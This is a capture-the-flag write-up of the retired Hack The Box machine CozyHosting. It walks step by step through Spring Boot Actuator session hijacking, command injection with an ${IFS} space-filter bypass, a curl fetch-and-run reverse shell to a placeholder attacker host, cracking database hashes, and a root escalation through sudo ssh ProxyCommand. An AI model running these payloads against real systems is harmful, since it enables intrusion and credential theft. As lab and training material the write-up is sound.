root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat cozyhosting.md
// writeups

CozyHosting

2 Sep 2023 · 11 min read
CozyHosting - maquina de Hack The Box

Executive summary — CozyHosting is an Easy Linux box built around a Java Spring Boot app: an unauthenticated Spring Boot Actuator endpoint (/actuator/sessions) leaks active session tokens, letting us hijack an administrator's cookie and log into the admin panel; the panel's SSH form has a command injection in the username field (RCE as app). The application's .jar yields PostgreSQL credentials, the users table is dumped, the admin's bcrypt hash is cracked with hashcat, and that password is reused over SSH as josh. Root comes from abusing a sudo grant on ssh via ProxyCommand (GTFOBins). An Actuator → session hijacking → RCE → PostgreSQL → hashcat → SSH → sudo ssh → root path.

PlatformHack The Box
Operating systemLinux (Ubuntu)
DifficultyEasy
StatusRetired
Target IP10.129.16.230

Attack map

[80] Java Spring Boot app (nginx)
   │  HTTP headers + /error 500 → Spring Boot
   │  unauthenticated /actuator → /actuator/sessions leaks JSESSIONID tokens
   ▼
[hijack]  kanderson's cookie → /admin (Admin Dashboard)
   ▼
[RCE]  /executessh → command injection in «username» (space filter bypass with ${IFS})
   │  shell.sh over HTTP → shell as app
   ▼
[creds]  unzip the .jar → application.properties → PostgreSQL credentials
   │  psql → users table → admin's bcrypt hash → hashcat -m 3200 → cracked
   ▼
[SSH]  josh  (reused password)  →  user.txt
   │  sudo -l → /usr/bin/ssh (ALL)
   ▼
[ROOT]  sudo ssh -o ProxyCommand (GTFOBins)  →  root.txt

1. Reconnaissance

Full TCP port scan:

nmap -p- --min-rate 5000 -sV -sC -oA cozyhosting 10.129.16.230
22/tcp open  ssh    OpenSSH 8.9p1 Ubuntu
80/tcp open  http   nginx/1.18.0 (Ubuntu) — Cozy Hosting - Home
echo '10.129.16.230 cozyhosting.htb' | sudo tee -a /etc/hosts

Only two ports open — no SSH to brute force directly, so the focus is the web app. The HTTP headers already hint strongly at the framework:

whatweb http://cozyhosting.htb
curl -I http://cozyhosting.htb
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Content-Language: en-US

That exact header pattern (plus Content-Language) is characteristic of Spring Boot (Java). It points the rest of the recon toward its management endpoints, Actuator.

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://cozyhosting.htb/FUZZ -fc 404 -t 50
/admin  [401]   protected admin panel
/login  [200]   login form
/logout [204]   session logout
/error  [500]   Spring Boot error page

/error returning a 500 with Spring Boot's exact error format confirms the framework.

2. Spring Boot Actuator — session leak

What Actuator is: Spring Boot's management and monitoring module. Misconfigured and exposed without authentication, it can leak environment variables, internal beans, metrics, and — most critically here — active sessions. First, the available sub-endpoints are enumerated:

curl -s http://cozyhosting.htb/actuator | python3 -m json.tool
_links: health, beans, env, sessions, mappings

/actuator/sessions returns the map of session tokens and their associated user:

curl -s http://cozyhosting.htb/actuator/sessions | python3 -m json.tool
F3A3152BE12D7B89AD0EAA6EE37AE67F  →  kanderson

3. Session hijacking — admin panel access

No password needed with that token: setting the same string as the JSESSIONID cookie makes the app believe we're kanderson.

curl -s -b "JSESSIONID=F3A3152BE12D7B89AD0EAA6EE37AE67F" http://cozyhosting.htb/admin -L | grep -i "admin\|dashboard"
Admin Dashboard

The panel shows an SSH connection form asking for host and username.

4. Command injection in /executessh → RCE

The form POSTs host and username to /executessh; internally the app builds something like ssh <username>@<host>. We try injecting with ;:

curl -v -b 'JSESSIONID=F3A3152BE12D7B89AD0EAA6EE37AE67F' -X POST http://cozyhosting.htb/executessh -H 'Content-Type: application/x-www-form-urlencoded' -d 'host=127.0.0.1&username=;id;' 2>&1 | grep Location
/bin/bash: line 1: @127.0.0.1: command not found

That error confirms the server runs something like ssh ;id;@127.0.0.1: the ; acts as a command separator and bash tries to run id before reaching the leftover @127.0.0.1. Command injection confirmed.

The app filters spaces in username. That's bypassed with bash's ${IFS} variable (Internal Field Separator), which resolves to a space without being a literal space character. RCE is confirmed with an HTTP callback:

python3 -m http.server 8080   # on the attacker box
curl -s -b 'JSESSIONID=F3A3152BE12D7B89AD0EAA6EE37AE67F' -X POST http://cozyhosting.htb/executessh -H 'Content-Type: application/x-www-form-urlencoded' -d 'host=127.0.0.1&username=;curl${IFS}<ATTACKER_IP>:8080;#'
GET / HTTP/1.1  ← request received on the HTTP server

The trailing # comments out the rest of the SSH command so it doesn't error out. With RCE confirmed, a reverse-shell script is served and downloaded/executed in two steps (avoids issues with special characters in the payload):

echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1' > /tmp/shell.sh
python3 -m http.server 8080   # serving shell.sh
nc -lvnp 4444
# step 1: download shell.sh onto the target
curl -s -b 'JSESSIONID=...' -X POST http://cozyhosting.htb/executessh -d 'host=127.0.0.1&username=;curl${IFS}<ATTACKER_IP>:8080/shell.sh${IFS}-o${IFS}/tmp/shell.sh;#'
# step 2: execute it
curl -s -b 'JSESSIONID=...' -X POST http://cozyhosting.htb/executessh -d 'host=127.0.0.1&username=;bash${IFS}/tmp/shell.sh;#'
whoami  →  app

5. From the .jar to PostgreSQL credentials

The Spring Boot app ships as a runnable .jar; it's located on the box:

find / -name '*.jar' 2>/dev/null
/app/cloudhosting-0.0.1.jar

A Spring Boot .jar is really a ZIP file. Its application.properties (the app's config) usually carries database credentials, and it can be pulled out without unzipping the whole jar:

unzip -p /app/cloudhosting-0.0.1.jar BOOT-INF/classes/application.properties
spring.datasource.driver-class-name=org.postgresql.Driver
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR

6. PostgreSQL → hashes → crack → SSH

psql -h localhost -U postgres -d cozyhosting -c "SELECT name,password FROM users;"
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim
admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm

Both are bcrypt hashes ($2a$) — hashcat mode 3200. We attack the admin's:

echo '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm' > hash_admin.txt
hashcat -m 3200 hash_admin.txt /usr/share/wordlists/rockyou.txt
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited

That cracked password is reused for the system user josh (not admin, which only exists inside the app's database):

ssh josh@10.129.16.230   # manchesterunited
cat ~/user.txt

7. Privilege escalation — sudo ssh (GTFOBins)

sudo -l
(root) NOPASSWD: /usr/bin/ssh *

josh can run ssh with any arguments as root. GTFOBins documents that ssh accepts -o ProxyCommand=<cmd>, a local command run before attempting to connect. Run via sudo, that command executes as root:

sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x

The leading ; makes bash run immediately instead of being parsed as part of the ProxyCommand; 0<&2 1>&2 redirects that bash's stdin/stdout to the terminal (fd 2, stderr); x is a throwaway destination host that never gets used, since ProxyCommand already ran.

id  →  uid=0(root) gid=0(root) groups=0(root)

Root flag

cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
ReconHTTP headers / /errorSpring Boot fingerprintingPoints the attack at Actuator
Info leakSpring Boot ActuatorUnauthenticated /actuator/sessions exposes JSESSIONID tokensSession hijack of admin (kanderson)
Foothold/executessh panelCommand injection in username (space-filter bypass via ${IFS})RCE as app
Lateral.jar + PostgreSQLCredentials embedded in application.properties → crackable, reused admin hashSSH as josh
PrivEscsudo /usr/bin/ssh *ProxyCommand (GTFOBins)Root shell

Lessons learned

  • Don't expose Actuator endpoints unauthenticated (sessions, env, heapdump, beans): they leak secrets and other users' active sessions.
  • Never put user input into a system command: any shell separator (;, |, ${IFS}) defeats a filter that only blocks spaces.
  • Spring Boot .jar files carry their own config (application.properties): don't embed production credentials in the deployed artifact — use environment variables or a vault.
  • Don't reuse passwords between the app and the OS.
  • sudo on binaries like ssh, find, or vim escapes to a root shell (GTFOBins): check sudo -l against that list before granting permissions.